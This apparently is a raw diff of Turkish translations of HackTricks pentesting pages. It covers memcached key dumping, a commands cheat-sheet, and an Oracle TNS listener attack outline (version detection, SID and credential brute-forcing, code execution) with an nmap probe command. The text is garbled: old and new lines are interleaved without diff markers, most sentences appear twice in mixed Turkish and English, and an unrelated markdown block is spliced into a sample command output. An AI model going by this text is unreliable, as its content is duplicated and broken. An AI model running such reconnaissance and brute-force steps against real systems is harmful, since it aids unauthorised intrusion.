| Perl | [basit script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | Anahtarları ve değerleri yazdırır. | | |
| Ruby | [basit script](https://gist.github.com/1365005) | Anahtar isimlerini yazdırır. | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPAN modülünde bulunan bir araç | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Anahtarları dökme yapmanıza izin veren Memcache İzleme Arayüzü | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Memcached işleminizi dondurur!!!** Bu aracı üretim ortamında kullanırken dikkatli olun. Yine de, 1MB sınırlamasını aşabilir ve **tüm** anahtarları gerçekten dökme yapabilirsiniz. | | |
| Programming Languages | Tools | Functionality | | |
| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- |
| PHP | [simple script](http://snipt.org/xtP) | Anahtar adlarını yazdırır. | | |
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | Anahtarları ve değerleri yazdırır. | | |
| Ruby | [simple script](https://gist.github.com/1365005) | Anahtar adlarını yazdırır. | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPAN modülündeki araç | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Anahtarları dökme imkanı da sunan Memcache İzleme GUI'si | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Memcached işleminizi dondurur!!!** Üretimde kullanırken dikkatli olun. Yine de bunu kullanarak 1MB sınırlamasını aşabilir ve gerçekten **tüm** anahtarları dökebilirsiniz. | | |
## Sorun Giderme <a href="#troubleshooting" id="troubleshooting"></a>
## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>
### 1MB Veri Sınırlaması <a href="#1mb-data-limit" id="1mb-data-limit"></a>
### 1MB Data Limit <a href="#1mb-data-limit" id="1mb-data-limit"></a>
Unutmayın ki memcached 1.4 öncesinde, varsayılan maksimum slab boyutu nedeniyle 1MB'den daha büyük nesneleri depolayamazsınız.
memcached 1.4'ten önce, varsayılan maksimum slab boyutu nedeniyle 1MB'den büyük nesneleri depolayamazsınız.
### Asla 30 Günden Büyük Bir Zaman Aşımı Ayarlamayın! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
### Never Set a Timeout > 30 Days! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
İzin verilen maksimumdan daha büyük bir zaman aşımıyla bir anahtar "set" veya "add" etmeye çalışırsanız, beklediğiniz sonucu almayabilirsiniz çünkü memcached değeri bir Unix zaman damgası olarak işler. Ayrıca, zaman damgası geçmişte ise hiçbir şey yapmaz. Komut sessizce başarısız olur.
Eğer izin verilen maksimumdan daha büyük bir zaman aşımı ile bir anahtar “set” veya “add” etmeye çalışırsanız, memcached bu değeri bir Unix zaman damgası olarak değerlendireceği için beklediğiniz sonucu alamayabilirsiniz. Ayrıca, zaman damgası geçmişte ise hiçbir şey yapmaz. Komutunuz sessizce başarısız olur.
Bu nedenle, maksimum ömür için 2592000'ü belirtmek isterseniz. Örnek:
Bu nedenle, maksimum ömrü kullanmak istiyorsanız 2592000 olarak belirtin. Örnek:
```
set my_key 0 2592000 1
1
```
### Taşma Durumunda Kaybolan Anahtarlar <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
### Disappearing Keys on Overflow <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
Belgelendirmede 64 bit taşma durumunda "incr" kullanarak bir değeri taşırken, değerin kaybolmasına neden olduğu belirtilse de, değer tekrar "add"/"set" kullanılarak oluşturulması gerekmektedir.
Dokümantasyonda 64bit değerinin “incr” kullanarak taşmasının değerin kaybolmasına neden olduğu belirtilse de, bu değerin tekrar “add”/”set” ile oluşturulması gerekir.
### Replikasyon <a href="#replication" id="replication"></a>
### Replication <a href="#replication" id="replication"></a>
memcached kendisi replikasyonu desteklemez. Gerçekten ihtiyacınız varsa, 3. taraf çözümler kullanmanız gerekmektedir:
memcached kendisi replikasyonu desteklemez. Gerçekten ihtiyacınız varsa, 3. parti çözümleri kullanmalısınız:
* [repcached](http://repcached.lab.klab.org/): Çoklu ana sunucu asenkron replikasyonu (memcached 1.2 yaması)
* [Couchbase memcached arayüzü](http://www.couchbase.com/memcached): Memcached yerine CouchBase kullanımı
* [yrmcds](https://cybozu.github.io/yrmcds/): memcached uyumlu Ana-Sunucu anahtar-değer deposu
* [repcached](http://repcached.lab.klab.org/): Çoklu-master asenkron replikasyon (memcached 1.2 yamanması)
* [Couchbase memcached arayüzü](http://www.couchbase.com/memcached): CouchBase'i memcached yerine kullanın
* [yrmcds](https://cybozu.github.io/yrmcds/): memcached uyumlu Master-Slave anahtar-değer deposu
* [twemproxy](https://github.com/twitter/twemproxy) (aka nutcracker): memcached desteği olan proxy
### Komutlar Hile Kağıdı
### Commands Cheat-Sheet
{% content-ref url="memcache-commands.md" %}
[memcache-commands.md](memcache-commands.md)
@ -241,20 +179,21 @@ memcached kendisi replikasyonu desteklemez. Gerçekten ihtiyacınız varsa, 3. t
* `port:11211 "STAT pid"`
* `"STAT pid"`
## Referanslar
## References
* [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da** takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,64 +1,65 @@
# Memcache Komutları
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Komutlar Hile Kağıdı
## Komutlar Kılavuzu
**Kaynak** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
**Kaynak:** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Desteklenen komutlar (resmi olanlar ve bazı resmi olmayanlar) [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) belgesinde belgelenmiştir.
Ne yazık ki, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [kaynakta](https://github.com/memcached/memcached) bulabileceğiniz komutların genel bir bakışı (19.08.2016 itibarıyla):
Üzgünüm, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [source](https://github.com/memcached/memcached) içinde bulabileceğiniz komutların bir özeti (19.08.2016 itibarıyla):
| Komut | Açıklama | Örnek |
| --------------------- | -------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | Bir değeri okur | `get mykey` |
| set | Bir anahtarı koşulsuz olarak ayarlar | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI araçlarını kullanırken \r\n'yi satır sonu olarak kullanmaya dikkat edin. Örneğin&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Yeni bir anahtar ekler | `add newkey 0 60 5` |
| replace | Mevcut anahtarı üzerine yazar | `replace key 0 60 5` |
| append | Mevcut anahtara veri ekler | `append key 0 60 15` |
| prepend | Mevcut anahtara veri ekler | `prepend key 0 60 15` |
| incr | Sayısal anahtar değerini belirtilen sayıyla artırır | `incr mykey 2` |
| decr | Sayısal anahtar değerini belirtilen sayıyla azaltır | `decr mykey 5` |
| delete | Mevcut bir anahtarı siler | `delete mykey` |
| flush\_all | Tüm öğeleri hemen geçersiz kılar | `flush_all` |
| flush\_all | Tüm öğeleri n saniye içinde geçersiz kılar | `flush_all 900` |
| stats | Genel istatistikleri yazdırır | `stats` |
| | Bellek istatistiklerini yazdırır | `stats slabs` |
| | Daha yüksek seviye tahsis istatistiklerini yazdırır | `stats malloc` |
| | Öğeler hakkında bilgi yazdırır | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | İstatistik sayaçlarını sıfırlar | `stats reset` |
| lru\_crawler metadump | Önbellekteki öğelerin (çoğunlukla) meta verilerini döker | `lru_crawler metadump all` |
| version | Sunucu sürümünü yazdırır | `version` |
| verbosity | Günlük seviyesini artırır | `verbosity` |
| quit | Oturumu sonlandırır | `quit` |
| Komut | Açıklama | Örnek |
| --------------------- | ------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | Bir değeri okur | `get mykey` |
| set | Bir anahtarı koşulsuz olarak ayarlar | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI araçlarını kullanırken \r\n'yi satır sonları olarak kullanmayı unutmayın. Örneğin&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Yeni bir anahtar ekler | `add newkey 0 60 5` |
| replace | Mevcut anahtarı üzerine yazar | `replace key 0 60 5` |
| append | Mevcut anahtara veri ekler | `append key 0 60 15` |
| prepend | Mevcut anahtara veri ekler | `prepend key 0 60 15` |
| incr | Sayısal anahtar değerini verilen sayı kadar artırır | `incr mykey 2` |
| decr | Sayısal anahtar değerini verilen sayı kadar azaltır | `decr mykey 5` |
| delete | Mevcut bir anahtarı siler | `delete mykey` |
| flush\_all | Tüm öğeleri hemen geçersiz kılar | `flush_all` |
| flush\_all | Tüm öğeleri n saniye içinde geçersiz kılar | `flush_all 900` |
| stats | Genel istatistikleri yazdırır | `stats` |
| | Bellek istatistiklerini yazdırır | `stats slabs` |
| | Daha yüksek seviyedeki tahsis istatistiklerini yazdırır | `stats malloc` |
| | Öğeler hakkında bilgi yazdırır | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | İstatistik sayaçlarını sıfırlar | `stats reset` |
| lru\_crawler metadump | Önbellekteki (tüm) öğelerin (çoğu) meta verisini döker | `lru_crawler metadump all` |
| version | Sunucu sürümünü yazdırır. | `version` |
| verbosity | Günlük seviyesini artırır | `verbosity` |
| quit | Oturumu sonlandırır | `quit` |
#### Trafik İstatistikleri <a href="#traffic-statistics" id="traffic-statistics"></a>
Mevcut trafik istatistiklerini sorgulayabilirsiniz kullanarak
Mevcut trafik istatistiklerini sorgulamak için komutu kullanabilirsiniz.
```
stats
```
Aşağıdaki gibi bir listeleme alacaksınız, bağlantı sayısı, gelen/giden baytlar ve daha fazlasını sunar.
Aşağıdaki bağlantı sayısını, giren/çıkan baytları ve daha fazlasını gösteren bir liste alacaksınız.
Örnek Çıktı:
```
@ -88,11 +89,49 @@ END
```
#### Bellek İstatistikleri <a href="#memory-statistics" id="memory-statistics"></a>
Mevcut bellek istatistiklerini sorgulayabilirsiniz.
Mevcut bellek istatistiklerini sorgulamak için
```
stats slabs
```
Örnek Çıktı:
```markdown
# Memcache Komutları
Memcached, yüksek performanslı bir dağıtık bellek nesne depolama sistemidir. Aşağıda, Memcached ile etkileşimde bulunmak için kullanılan temel komutlar bulunmaktadır.
## Temel Komutlar
- **set**: Bir anahtar-değer çifti ayarlamak için kullanılır.
- **get**: Bir anahtarın değerini almak için kullanılır.
- **delete**: Bir anahtar-değer çiftini silmek için kullanılır.
- **stats**: Memcached sunucusunun istatistiklerini almak için kullanılır.
## Kullanım Örnekleri
### set Komutu
```
set mykey 0 900 9
value123
```
### get Komutu
```
get mykey
```
### delete Komutu
```
delete mykey
```
### stats Komutu
```
stats
```
```
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@ -113,19 +152,15 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
Eğer memcached örneğiniz için yeterli belleğe sahip olup olmadığınızdan emin değilseniz, her zaman “stats” komutuyla verilen “evictions” sayaçlarına dikkat edin. Eğer örnek için yeterli belleğiniz varsa, “evictions” sayacı 0 olmalı veya en azından artmamalıdır.
#### Hangi Anahtarlar Kullanılıyor? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
Mevcut anahtar kümesini doğrudan belirlemek için yerleşik bir işlev yoktur. Bununla birlikte, anahtar kümesini belirlemek için
Mevcut anahtar setini doğrudan belirlemek için yerleşik bir fonksiyon yoktur. Ancak bunu kullanabilirsiniz.
```
stats items
```
```html
<p>command to determine how many keys do exist.</p>
```
```html
<p>var olan kaç anahtarın olduğunu belirlemek için komut.</p>
```
anahtarların kaç tane olduğunu belirlemek için komut.
```
stats items
STAT items:1:number 220
@ -135,23 +170,23 @@ STAT items:2:age 1405
[...]
END
```
Bu en azından kullanılan anahtarları görmeye yardımcı olur. Zaten memcache erişimini yapan bir PHP betiğinden anahtar adlarını dökmek için [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) adresindeki PHP kodunu kullanabilirsiniz.
Bu en azından hangi anahtarların kullanıldığını görmeye yardımcı olur. Zaten memcache erişimini yapan bir PHP betiğinden anahtar adlarını dökmek için [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) adresindeki PHP kodunu kullanabilirsiniz.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# 1521,1522-1529 - Oracle TNS Listener Pentesting
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
Oracle veritabanı (Oracle DB), Oracle Corporation tarafından geliştirilen bir ilişkisel veritabanı yönetim sistemi (RDBMS)'dir (buradan alınmıştır: [buradan](https://www.techopedia.com/definition/8711/oracle-database)).
Oracle veritabanı (Oracle DB), Oracle Corporation'dan (buradan [buraya](https://www.techopedia.com/definition/8711/oracle-database)) bir ilişkisel veritabanı yönetim sistemidir (RDBMS).
Oracle'ı numaralandırırken ilk adım genellikle varsayılan bağlantı noktasında (1521/TCP) bulunan TNS-Listener ile iletişim kurmaktır. Ayrıca ikincil dinleyicileri de (1522-1529) alabilirsiniz.
Oracle'ı numaralandırırken ilk adım, genellikle varsayılan portta (1521/TCP, -ayrıca 15221529'da ikincil dinleyiciler de alabilirsiniz-) bulunan TNS-Dinleyicisi ile konuşmaktır.
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Özet
1. **Sürüm Tespiti**: Bilinen zafiyetleri aramak için sürüm bilgilerini belirleyin.
2. **TNS Dinleyici Bruteforce**: İletişim kurmak için bazen gereklidir.
3. **SID İsmi Tespiti/Bruteforce**: Veritabanı isimlerini (SID) keşfedin.
4. **Kimlik Bilgisi Bruteforce**: Keşfedilen SID'e erişmeye çalışın.
5. **Kod Yürütme**: Sistemde kod çalıştırmaya çalışın.
1. **Versiyon Numarası Belirleme**: Bilinen güvenlik açıklarını aramak için versiyon bilgilerini belirleyin.
2. **TNS Listener Bruteforce**: İletişimi sağlamak için bazen gereklidir.
3. **SID Adı Belirleme/Bruteforce**: Veritabanı adlarını (SID) keşfedin.
4. **Kimlik Bilgisi Bruteforce**: Keşfedilen SID'ye erişim sağlamaya çalışın.
5. **Kod Çalıştırma**: Sistemde kod çalıştırmaya çalışın.
MSF oracle modüllerini kullanabilmek için bazı bağımlılıkları kurmanız gerekmektedir: [**Kurulum**](oracle-pentesting-requirements-installation.md)
MSF oracle modüllerini kullanmak için bazı bağımlılıkları yüklemeniz gerekir: [**Kurulum**](oracle-pentesting-requirements-installation.md)
## Gönderiler
@ -42,7 +43,7 @@ Bu gönderilere göz atın:
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks Otomatik Komutları
## HackTricks Otomatik Komutlar
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
@ -70,16 +71,17 @@ Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,52 +1,54 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
